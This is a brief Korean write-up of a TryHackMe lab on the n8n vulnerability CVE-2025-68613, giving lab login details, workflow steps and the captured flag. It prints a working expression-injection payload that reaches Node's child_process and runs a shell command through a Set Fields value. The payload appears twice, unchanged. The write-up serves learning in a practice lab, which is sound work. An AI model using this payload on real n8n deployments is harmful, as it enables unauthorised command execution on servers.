TryHackMe 방: n8n: CVE-2025-68613

플레이어: J4ck3LSyN

호스트: ...

사용자명: [email protected]

비밀번호: Try12345!

방법론

페이로드: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} 페이로드 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. 공격 박스에 접속합니다.
2. Start New
3. Add First Step을 선택하고, 오른쪽 사이드바를 열어 Manual Trigger를 추가합니다.
4. 그런 다음 Set Fields 옵션을 추가합니다.
5. 필드 이름 pwn과 페이로드를 추가합니다.
6. 실행 및 pwn.
7. 페이로드를 cat flag.txt 실행으로 변경 - 플래그: THM{n8n_exposed_workflow}